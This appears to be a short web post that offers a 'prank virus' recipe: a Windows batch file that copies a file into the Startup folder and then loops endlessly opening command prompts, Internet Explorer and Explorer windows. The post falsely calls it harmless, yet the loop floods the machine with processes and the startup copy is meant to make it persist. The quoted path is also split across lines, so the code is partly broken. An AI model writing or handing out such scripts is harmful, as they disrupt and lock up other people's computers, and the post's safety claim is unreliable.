TrICK to make a computer virus that dosent affect your system- its just a prank.......

open note pad and write the following code and save it with name as filename .bat.remember the extension .bat is necessary or else the virus wont work.:

@echo off

copy %1 "C:\Documents and Settings\All 

Users\Start Menu\Programs\Startup"

:1

start cmd

start iexplore.exe

start explorer.exe

goto 1